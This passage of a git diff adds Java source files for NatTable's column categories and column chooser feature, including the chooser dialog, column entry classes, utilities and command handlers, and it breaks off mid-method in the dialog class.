Categories model, " + + "but not in the underlying data"); + return String.valueOf(index); + } + return columnEntry.getLabel(); + default: + return "Unknown"; + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/VisibleColumnsProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/VisibleColumnsProvider.java new file mode 100644 index 0000000..877122f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/VisibleColumnsProvider.java @@ -0,0 +1,39 @@ +package net.sourceforge.nattable.columnCategories.gui; + +import java.util.List; + +import net.sourceforge.nattable.columnChooser.ColumnEntry; + +import org.eclipse.jface.viewers.IStructuredContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.Viewer; + +/** + * Provides visible columns as {@link ColumnEntry} objects. + */ +public class VisibleColumnsProvider extends LabelProvider implements IStructuredContentProvider { + + List visibleColumnsEntries; + + public VisibleColumnsProvider(List visibleColumnsEntries) { + this.visibleColumnsEntries = visibleColumnsEntries; + } + + public Object[] getElements(Object inputElement) { + return visibleColumnsEntries.toArray(); + } + + @Override + public String getText(Object element) { + return ((ColumnEntry) element).getLabel(); + } + + public void dispose() { + // No op. + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + // No op. + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnChooser.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnChooser.java new file mode 100644 index 0000000..62a6c0d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnChooser.java @@ -0,0 +1,155 @@ +package net.sourceforge.nattable.columnChooser; + +import java.util.List; + +import net.sourceforge.nattable.columnChooser.gui.ColumnChooserDialog; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.group.ColumnGroupHeaderLayer; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.command.ColumnGroupExpandCollapseCommand; +import net.sourceforge.nattable.group.command.ReorderColumnGroupCommand; +import net.sourceforge.nattable.group.command.ReorderColumnsAndGroupsCommand; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.reorder.command.ColumnReorderCommand; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +import org.eclipse.swt.widgets.Shell; + +public final class ColumnChooser { + + private final ColumnChooserDialog columnChooserDialog; + private final ColumnHideShowLayer columnHideShowLayer; + private final DataLayer columnHeaderDataLayer; + private final ColumnHeaderLayer columnHeaderLayer; + private List hiddenColumnEntries; + private List visibleColumnsEntries; + private final ColumnGroupModel columnGroupModel; + private final SelectionLayer selectionLayer; + + public ColumnChooser(Shell shell, + SelectionLayer selectionLayer, + ColumnHideShowLayer columnHideShowLayer, + ColumnHeaderLayer columnHeaderLayer, + DataLayer columnHeaderDataLayer, + ColumnGroupHeaderLayer columnGroupHeaderLayer, + ColumnGroupModel columnGroupModel) { + this.selectionLayer = selectionLayer; + this.columnHideShowLayer = columnHideShowLayer; + this.columnHeaderLayer = columnHeaderLayer; + this.columnHeaderDataLayer = columnHeaderDataLayer; + this.columnGroupModel = columnGroupModel; + + columnChooserDialog = new ColumnChooserDialog(shell, "Available Columns", "Selected Columns"); + } + + public void openDialog() { + columnChooserDialog.create(); + + hiddenColumnEntries = ColumnChooserUtils.getHiddenColumnEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer); + columnChooserDialog.populateAvailableTree(hiddenColumnEntries, columnGroupModel); + + visibleColumnsEntries = ColumnChooserUtils.getVisibleColumnsEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer); + columnChooserDialog.populateSelectedTree(visibleColumnsEntries, columnGroupModel); + + columnChooserDialog.expandAllLeaves(); + + addListenersOnColumnChooserDialog(); + columnChooserDialog.open(); + } + + private void addListenersOnColumnChooserDialog() { + + columnChooserDialog.addListener(new ISelectionTreeListener() { + + public void itemsRemoved(List removedItems) { + ColumnChooserUtils.hideColumnEntries(removedItems, columnHideShowLayer); + refreshColumnChooserDialog(); + } + + public void itemsSelected(List addedItems) { + ColumnChooserUtils.showColumnEntries(addedItems, columnHideShowLayer); + refreshColumnChooserDialog(); + } + + public void itemsMoved(MoveDirectionEnum direction, List movedColumnGroupEntries, List movedColumnEntries, List> fromPositions, List toPositions) { + moveItems(direction, movedColumnGroupEntries, movedColumnEntries, fromPositions, toPositions); + } + + /** + * Fire appropriate commands depending on the events received from the column chooser dialog + * @param direction + * @param movedColumnGroupEntries + * @param movedColumnEntries + * @param fromPositions + * @param toPositions + */ + private void moveItems(MoveDirectionEnum direction, List movedColumnGroupEntries, List movedColumnEntries, List> fromPositions, List toPositions) { + + for (int i = 0; i < fromPositions.size(); i++) { + boolean columnGroupMoved = columnGroupMoved(fromPositions.get(i), movedColumnGroupEntries); + boolean multipleColumnsMoved = fromPositions.get(i).size() > 1; + + ILayerCommand command = null; + if (!columnGroupMoved && !multipleColumnsMoved) { + int fromPosition = fromPositions.get(i).get(0).intValue(); + int toPosition = adjustToPosition(direction, toPositions.get(i).intValue()); + command = new ColumnReorderCommand(columnHideShowLayer, fromPosition, toPosition); + } else if(columnGroupMoved && multipleColumnsMoved){ + command = new ReorderColumnsAndGroupsCommand(columnHideShowLayer, fromPositions.get(i), adjustToPosition(direction, toPositions.get(i))); + } else if(!columnGroupMoved && multipleColumnsMoved){ + command = new MultiColumnReorderCommand(columnHideShowLayer, fromPositions.get(i), adjustToPosition(direction, toPositions.get(i))); + } else if(columnGroupMoved && !multipleColumnsMoved){ + command = new ReorderColumnGroupCommand(columnHideShowLayer, fromPositions.get(i).get(0), adjustToPosition(direction, toPositions.get(i))); + } + columnHideShowLayer.doCommand(command); + } + + refreshColumnChooserDialog(); + columnChooserDialog.setSelectionIncludingNested(ColumnChooserUtils.getColumnEntryIndexes(movedColumnEntries)); + } + + private int adjustToPosition(MoveDirectionEnum direction, Integer toColumnPosition) { + if (MoveDirectionEnum.DOWN == direction) { + return toColumnPosition + 1; + } else { + return toColumnPosition; + } + } + + private boolean columnGroupMoved(List fromPositions, List movedColumnGroupEntries) { + for (ColumnGroupEntry columnGroupEntry : movedColumnGroupEntries) { + if(fromPositions.contains(columnGroupEntry.getFirstElementPosition())) return true; + } + return false; + } + + public void itemsCollapsed(ColumnGroupEntry columnGroupEntry) { + int index = columnGroupEntry.getFirstElementIndex().intValue(); + int position = selectionLayer.getColumnPositionByIndex(index); + selectionLayer.doCommand(new ColumnGroupExpandCollapseCommand(selectionLayer, position)); + } + + public void itemsExpanded(ColumnGroupEntry columnGroupEntry) { + int index = columnGroupEntry.getFirstElementIndex().intValue(); + int position = selectionLayer.getColumnPositionByIndex(index); + selectionLayer.doCommand(new ColumnGroupExpandCollapseCommand(selectionLayer, position)); + } + }); + } + + private void refreshColumnChooserDialog() { + hiddenColumnEntries = ColumnChooserUtils.getHiddenColumnEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer); + visibleColumnsEntries = ColumnChooserUtils.getVisibleColumnsEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer); + + columnChooserDialog.removeAllLeaves(); + + columnChooserDialog.populateSelectedTree(visibleColumnsEntries, columnGroupModel); + columnChooserDialog.populateAvailableTree(hiddenColumnEntries, columnGroupModel); + columnChooserDialog.expandAllLeaves(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnChooserUtils.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnChooserUtils.java new file mode 100644 index 0000000..2103c7e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnChooserUtils.java @@ -0,0 +1,123 @@ +package net.sourceforge.nattable.columnChooser; + +import static net.sourceforge.nattable.util.ObjectUtils.asIntArray; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; + +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.hideshow.command.MultiColumnHideCommand; +import net.sourceforge.nattable.hideshow.command.MultiColumnShowCommand; +import net.sourceforge.nattable.layer.DataLayer; + +public class ColumnChooserUtils { + + public static final String RENAMED_COLUMN_INDICATOR = "*"; + + public static void hideColumnEntries(List removedItems, ColumnHideShowLayer hideShowLayer) { + MultiColumnHideCommand hideCommand = new MultiColumnHideCommand( + hideShowLayer, asIntArray(getColumnEntryPositions(removedItems))); + hideShowLayer.doCommand(hideCommand); + } + + public static void hideColumnPositions(List removedPositions, ColumnHideShowLayer hideShowLayer) { + MultiColumnHideCommand hideCommand = new MultiColumnHideCommand(hideShowLayer, asIntArray(removedPositions)); + hideShowLayer.doCommand(hideCommand); + } + + public static void showColumnEntries(List addedItems, ColumnHideShowLayer hideShowLayer) { + hideShowLayer.doCommand(new MultiColumnShowCommand(asIntArray(getColumnEntryIndexes(addedItems)))); + } + + public static void showColumnIndexes(List addedColumnIndexes, ColumnHideShowLayer hideShowLayer) { + hideShowLayer.doCommand(new MultiColumnShowCommand(asIntArray(addedColumnIndexes))); + } + + public static List getHiddenColumnEntries(ColumnHideShowLayer columnHideShowLayer, ColumnHeaderLayer columnHeaderLayer, DataLayer columnHeaderDataLayer) { + Collection hiddenColumnIndexes = columnHideShowLayer.getHiddenColumnIndexes(); + ArrayList hiddenColumnEntries= new ArrayList(); + + for (Integer hiddenColumnIndex : hiddenColumnIndexes) { + String label = getColumnLabel(columnHeaderLayer, columnHeaderDataLayer, hiddenColumnIndex); + ColumnEntry columnEntry = new ColumnEntry(label, hiddenColumnIndex, Integer.valueOf(-1)); + hiddenColumnEntries.add(columnEntry); + } + + return hiddenColumnEntries; + } + + /** + * @return The renamed column header name for the given column index (if the column has been renamed),
    + * the original column name otherwise. + */ + public static String getColumnLabel(ColumnHeaderLayer columnHeaderLayer, DataLayer columnHeaderDataLayer, Integer columnIndex) { + String label = ""; + if (columnHeaderLayer.isColumnRenamed(columnIndex)) { + label = columnHeaderLayer.getRenamedColumnLabelByIndex(columnIndex) + RENAMED_COLUMN_INDICATOR; + } else { + int position = columnHeaderDataLayer.getColumnPositionByIndex(columnIndex.intValue()); + label = columnHeaderDataLayer.getDataValueByPosition(position, 0).toString(); + } + return label; + } + + /** + * Get all visible columns from the selection layer and the corresponding labels in the header + */ + public static List getVisibleColumnsEntries(ColumnHideShowLayer columnHideShowLayer, ColumnHeaderLayer columnHeaderLayer, DataLayer columnHeaderDataLayer) { + int visibleColumnCount = columnHideShowLayer.getColumnCount(); + ArrayList visibleColumnEntries= new ArrayList(); + + for (int i = 0; i < visibleColumnCount; i++) { + int index = columnHideShowLayer.getColumnIndexByPosition(i); + String label = getColumnLabel(columnHeaderLayer, columnHeaderDataLayer, index); + ColumnEntry columnEntry = new ColumnEntry(label, Integer.valueOf(index), Integer.valueOf(i)); + visibleColumnEntries.add(columnEntry); + } + return visibleColumnEntries; + } + + /** + * Search the collection for the entry with the given index. + */ + public static ColumnEntry find(List entries, int indexToFind) { + for (ColumnEntry columnEntry : entries) { + if(columnEntry.getIndex().equals(indexToFind)){ + return columnEntry; + } + } + return null; + } + + /** + * Get ColumnEntry positions for the ColumnEntry objects. + */ + public static List getColumnEntryPositions(List columnEntries) { + List columnEntryPositions = new ArrayList(); + for (ColumnEntry columnEntry : columnEntries) { + columnEntryPositions.add(columnEntry.getPosition()); + } + return columnEntryPositions; + } + + /** + * Get ColumnEntry positions for the ColumnEntry objects. + */ + public static List getColumnEntryIndexes(List columnEntries) { + List columnEntryIndexes = new ArrayList(); + for (ColumnEntry columnEntry : columnEntries) { + columnEntryIndexes.add(columnEntry.getIndex()); + } + return columnEntryIndexes; + } + + /** + * @return TRUE if the list contains an entry with the given index + */ + public static boolean containsIndex(List entries, int indexToFind) { + return find(entries, indexToFind) != null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnEntry.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnEntry.java new file mode 100644 index 0000000..752de1e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnEntry.java @@ -0,0 +1,59 @@ +package net.sourceforge.nattable.columnChooser; + + + +/** + * Object representation of a NatTable Column.
    + * This is used in the Column chooser dialogs as a mechanism of preserving + * meta data on the columns in the dialog. + * + * @see ColumnChooserUtils + */ +public class ColumnEntry { + + private final String label; + private final Integer index; + private Integer position; + + public ColumnEntry(String label, Integer index, Integer position) { + this.label = label; + this.index = index; + this.position = position; + } + + @Override + public String toString() { + return label != null ? label : "No Label"; + } + + public Integer getPosition() { + return position; + } + + public void setPosition(Integer position) { + this.position = position; + } + + public Integer getIndex() { + return index; + } + + public String getLabel() { + return toString(); + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof ColumnEntry) { + ColumnEntry that = (ColumnEntry) obj; + return index.intValue() == that.index.intValue(); + } + + return super.equals(obj); + } + + @Override + public int hashCode() { + return index.hashCode(); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnGroupEntry.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnGroupEntry.java new file mode 100644 index 0000000..0efd072 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ColumnGroupEntry.java @@ -0,0 +1,73 @@ +package net.sourceforge.nattable.columnChooser; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.columnChooser.gui.ColumnChooserDialog; + +import org.apache.commons.lang.builder.HashCodeBuilder; +import org.eclipse.swt.widgets.TreeItem; + +/** + * Object representation of a ColumnGroup in the SWT tree.
    + * NOTE: this is set as the SWT data on the {@link TreeItem}.
    + * + * @see ColumnChooserDialog#populateModel + */ +public class ColumnGroupEntry { + private final String label; + private final Integer firstElementPosition; + private final Integer firstElementIndex; + private final boolean isCollapsed; + + public ColumnGroupEntry(String label, Integer firstElementPosition, Integer firstElementIndex, boolean isCollapsed) { + super(); + this.label = label; + this.firstElementPosition = firstElementPosition; + this.firstElementIndex = firstElementIndex; + this.isCollapsed = isCollapsed; + } + + public String getLabel() { + return label; + } + + public Integer getFirstElementPosition() { + return firstElementPosition; + } + + public Integer getFirstElementIndex() { + return firstElementIndex; + } + + public boolean isCollapsed() { + return isCollapsed; + } + + public static List getColumnGroupEntryPositions(List columnEntries) { + List columnGroupEntryPositions = new ArrayList(); + for (ColumnGroupEntry ColumnGroupEntry : columnEntries) { + columnGroupEntryPositions.add(ColumnGroupEntry.getFirstElementPosition()); + } + return columnGroupEntryPositions; + } + + @Override + public String toString() { + return "ColumnGroupEntry ("+ + "Label: " + label + + ", firstElementPosition: " + firstElementPosition + + ", firstElementIndex: " + firstElementIndex + + ", collapsed: " + isCollapsed + ")"; + } + + @Override + public boolean equals(Object obj) { + return super.equals(obj); + } + + @Override + public int hashCode() { + return HashCodeBuilder.reflectionHashCode(this); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ISelectionTreeListener.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ISelectionTreeListener.java new file mode 100644 index 0000000..163e0b6 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/ISelectionTreeListener.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.columnChooser; + + +import java.util.List; + +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +public interface ISelectionTreeListener { + + void itemsSelected(List addedItems); + + void itemsRemoved(List removedItems); + + /** + * If columns moved are adjacent to each other, they are grouped together. + * @param direction + * @param selectedColumnGroupEntries + */ + void itemsMoved(MoveDirectionEnum direction, List selectedColumnGroupEntries, List movedColumnEntries, List> fromPositions, List toPositions); + + void itemsExpanded(ColumnGroupEntry columnGroupEntry); + + void itemsCollapsed(ColumnGroupEntry columnGroupEntry); +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/command/DisplayColumnChooserCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/command/DisplayColumnChooserCommand.java new file mode 100644 index 0000000..7d549fa --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/command/DisplayColumnChooserCommand.java @@ -0,0 +1,18 @@ +package net.sourceforge.nattable.columnChooser.command; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class DisplayColumnChooserCommand extends AbstractContextFreeCommand { + + private final NatTable natTable; + + public DisplayColumnChooserCommand(NatTable natTable) { + this.natTable = natTable; + } + + public NatTable getNatTable() { + return natTable; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/command/DisplayColumnChooserCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/command/DisplayColumnChooserCommandHandler.java new file mode 100644 index 0000000..f08c828 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/command/DisplayColumnChooserCommandHandler.java @@ -0,0 +1,55 @@ +package net.sourceforge.nattable.columnChooser.command; + +import net.sourceforge.nattable.columnChooser.ColumnChooser; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.group.ColumnGroupHeaderLayer; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class DisplayColumnChooserCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnHideShowLayer columnHideShowLayer; + private final ColumnGroupHeaderLayer columnGroupHeaderLayer; + private final ColumnGroupModel columnGroupModel; + private final SelectionLayer selectionLayer; + private final DataLayer columnHeaderDataLayer; + private final ColumnHeaderLayer columnHeaderLayer; + + public DisplayColumnChooserCommandHandler( + SelectionLayer selectionLayer, + ColumnHideShowLayer columnHideShowLayer, + ColumnHeaderLayer columnHeaderLayer, + DataLayer columnHeaderDataLayer, + ColumnGroupHeaderLayer cgHeader, ColumnGroupModel columnGroupModel) { + + this.selectionLayer = selectionLayer; + this.columnHideShowLayer = columnHideShowLayer; + this.columnHeaderLayer = columnHeaderLayer; + this.columnHeaderDataLayer = columnHeaderDataLayer; + this.columnGroupHeaderLayer = cgHeader; + this.columnGroupModel = columnGroupModel; + } + + @Override + public boolean doCommand(DisplayColumnChooserCommand command) { + ColumnChooser columnChooser = new ColumnChooser( + command.getNatTable().getShell(), + selectionLayer, + columnHideShowLayer, + columnHeaderLayer, + columnHeaderDataLayer, + columnGroupHeaderLayer, + columnGroupModel); + + columnChooser.openDialog(); + return true; + } + + public Class getCommandClass() { + return DisplayColumnChooserCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/gui/AbstractColumnChooserDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/gui/AbstractColumnChooserDialog.java new file mode 100644 index 0000000..1e779d5 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/gui/AbstractColumnChooserDialog.java @@ -0,0 +1,88 @@ +package net.sourceforge.nattable.columnChooser.gui; + +import net.sourceforge.nattable.util.GUIHelper; + +import org.apache.commons.lang.StringUtils; +import org.eclipse.core.runtime.ListenerList; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +public abstract class AbstractColumnChooserDialog extends Dialog { + + protected ListenerList listeners = new ListenerList();; + + public AbstractColumnChooserDialog(Shell parent) { + super(parent); + setShellStyle(SWT.CLOSE | SWT.TITLE | SWT.BORDER | SWT.APPLICATION_MODAL | SWT.RESIZE); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, "Done", true); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite composite = (Composite) super.createDialogArea(parent); + + GridDataFactory.fillDefaults().grab(true, true).applyTo(composite); + + composite.setLayout(new GridLayout(1, true)); + + composite.getShell().setText("Column Chooser"); + composite.getShell().setImage(GUIHelper.getImage("preferences")); + + populateDialogArea(composite); + + Label separator = new Label(composite, SWT.SEPARATOR | SWT.HORIZONTAL); + GridDataFactory.fillDefaults().grab(true, false).applyTo(separator); + + return composite; + } + + protected abstract void populateDialogArea(Composite composite); + + protected void createLabels(Composite parent, String availableStr, String selectedStr) { + boolean availableSet = StringUtils.isNotEmpty(availableStr); + boolean selectedSet = StringUtils.isNotEmpty(selectedStr); + + if (availableSet && selectedSet) { + if (availableSet) { + Label availableLabel = new Label(parent, SWT.NONE); + availableLabel.setText(availableStr); + GridDataFactory.swtDefaults().applyTo(availableLabel); + } + + Label filler = new Label(parent, SWT.NONE); + GridDataFactory.swtDefaults().span(availableSet ? 1 : 2, 1).applyTo(filler); + + if (selectedSet) { + Label selectedLabel = new Label(parent, SWT.NONE); + selectedLabel.setText(selectedStr); + GridDataFactory.swtDefaults().span(2, 1).applyTo(selectedLabel); + } + } + } + + public void addListener(Object listener) { + listeners.add(listener); + } + + public void removeListener(Object listener) { + listeners.remove(listener); + } + + @Override + protected Point getInitialSize() { + return new Point(500, 350); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/gui/ColumnChooserDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/gui/ColumnChooserDialog.java new file mode 100644 index 0000000..4ba8a33 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnChooser/gui/ColumnChooserDialog.java @@ -0,0 +1,725 @@ +package net.sourceforge.nattable.columnChooser.gui; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import net.sourceforge.nattable.columnChooser.ColumnChooserUtils; +import net.sourceforge.nattable.columnChooser.ColumnEntry; +import net.sourceforge.nattable.columnChooser.ColumnGroupEntry; +import net.sourceforge.nattable.columnChooser.ISelectionTreeListener; +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupUtils; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.util.ArrayUtil; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.events.TreeEvent; +import org.eclipse.swt.events.TreeListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeItem; + +public class ColumnChooserDialog extends AbstractColumnChooserDialog { + + private Tree availableTree; + private Tree selectedTree; + private final String selectedLabel; + private final String availableLabel; + private ColumnGroupModel columnGroupModel; + + public ColumnChooserDialog(Shell parentShell, String availableLabel, String selectedLabel) { + super(parentShell); + this.availableLabel = availableLabel; + this.selectedLabel = selectedLabel; + } + + @Override + public void populateDialogArea(Composite parent) { + GridDataFactory.fillDefaults().grab(true, true).applyTo(parent); + parent.setLayout(new GridLayout(4, false)); + + createLabels(parent, availableLabel, selectedLabel); + + availableTree = new Tree(parent, SWT.MULTI | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.Expand); + + GridData gridData = GridDataFactory.fillDefaults().grab(true, true).create(); + availableTree.setLayoutData(gridData); + availableTree.addMouseListener(new MouseAdapter() { + + @Override + public void mouseDoubleClick(MouseEvent e) { + addSelected(); + } + + }); + + availableTree.addKeyListener(new KeyAdapter() { + @Override + public void keyReleased(KeyEvent e) { + if (e.character == ' ') + addSelected(); + } + }); + + Composite buttonComposite = new Composite(parent, SWT.NONE); + buttonComposite.setLayout(new GridLayout(1, true)); + + Button addButton = new Button(buttonComposite, SWT.PUSH); + addButton.setImage(GUIHelper.getImage("arrow_right")); + gridData = GridDataFactory.fillDefaults().grab(false, true).align(SWT.CENTER, SWT.CENTER).create(); + addButton.setLayoutData(gridData); + addButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + addSelected(); + } + + }); + + Button removeButton = new Button(buttonComposite, SWT.PUSH); + removeButton.setImage(GUIHelper.getImage("arrow_left")); + gridData = GridDataFactory.copyData(gridData); + removeButton.setLayoutData(gridData); + removeButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + removeSelected(); + } + + }); + + selectedTree = new Tree(parent, SWT.MULTI | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.Expand); + + gridData = GridDataFactory.fillDefaults().grab(true, true).create(); + selectedTree.setLayoutData(gridData); + selectedTree.addMouseListener(new MouseAdapter() { + + @Override + public void mouseDoubleClick(MouseEvent e) { + removeSelected(); + } + + }); + + selectedTree.addKeyListener(new KeyAdapter() { + @Override + public void keyPressed(KeyEvent e) { + boolean controlMask = (e.stateMask & SWT.CONTROL) == SWT.CONTROL; + if (controlMask && e.keyCode == SWT.ARROW_UP) { + moveSelectedUp(); + e.doit = false; + } else if (controlMask && e.keyCode == SWT.ARROW_DOWN) { + moveSelectedDown(); + e.doit = false; + } + } + + @Override + public void keyReleased(KeyEvent e) { + + if (e.character == ' ') + removeSelected(); + } + }); + + selectedTree.addTreeListener(new TreeListener(){ + + public void treeCollapsed(TreeEvent event) { + selectedTreeCollapsed(event); + } + + public void treeExpanded(TreeEvent event) { + selectedTreeExpanded(event); + } + + }); + + selectedTree.addSelectionListener(new SelectionListener(){ + + public void widgetDefaultSelected(SelectionEvent event) { + widgetSelected(event); + } + + public void widgetSelected(SelectionEvent event) { + toggleColumnGroupSelection((TreeItem) event.item); + } + + }); + + Composite upDownbuttonComposite = new Composite(parent, SWT.NONE); + upDownbuttonComposite.setLayout(new GridLayout(1, true)); + + Button upButton = new Button(upDownbuttonComposite, SWT.PUSH); + upButton.setImage(GUIHelper.getImage("arrow_up")); + gridData = GridDataFactory.fillDefaults().grab(false, true).align(SWT.CENTER, SWT.CENTER).create(); + upButton.setLayoutData(gridData); + upButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + moveSelectedUp(); + } + + }); + + Button downButton = new Button(upDownbuttonComposite, SWT.PUSH); + downButton.setImage(GUIHelper.getImage("arrow_down")); + gridData = GridDataFactory.copyData(gridData); + downButton.setLayoutData(gridData); + downButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + moveSelectedDown(); + } + + }); + + } + + protected final void fireItemsSelected(List addedItems) { + for (Object listener : listeners.getListeners()) { + ((ISelectionTreeListener) listener).itemsSelected(addedItems); + } + } + + protected final void fireItemsRemoved(List removedItems) { + for (Object listener : listeners.getListeners()) { + ((ISelectionTreeListener) listener).itemsRemoved(removedItems); + } + } + + protected final void fireItemsMoved(MoveDirectionEnum direction, List selectedColumnGroupEntries, List selectedColumnEntries, List> fromPositions, List toPositions) { + for (Object listener : listeners.getListeners()) { + ((ISelectionTreeListener) listener).itemsMoved(direction, selectedColumnGroupEntries, selectedColumnEntries, fromPositions, toPositions); + } + } + + private void fireGroupExpanded(ColumnGroupEntry columnGroupEntry) { + for (Object listener : listeners.getListeners()) { + ((ISelectionTreeListener) listener).itemsExpanded(columnGroupEntry); + } + } + + private void fireGroupCollapsed(ColumnGroupEntry columnGroupEntry) { + for (Object listener : listeners.getListeners()) { + ((ISelectionTreeListener) listener).itemsCollapsed(columnGroupEntry); + } + } + + + public void populateSelectedTree(List columnEntries, ColumnGroupModel columnGroupModel) { + populateModel(selectedTree, columnEntries, columnGroupModel); + } + + public void populateAvailableTree(List columnEntries, ColumnGroupModel columnGroupModel) { + populateModel(availableTree, columnEntries, columnGroupModel); + } + + /** + * Populates the tree. + * Looks for column group and adds an extra node for the group. + * The column leaves carry a {@link ColumnEntry} object as data. + * The column group leaves carry a {@link ColumnGroupEntry} object as data. + */ + private void populateModel(Tree tree, List columnEntries, ColumnGroupModel columnGroupModel) { + this.columnGroupModel = columnGroupModel; + + for (ColumnEntry columnEntry : columnEntries) { + TreeItem 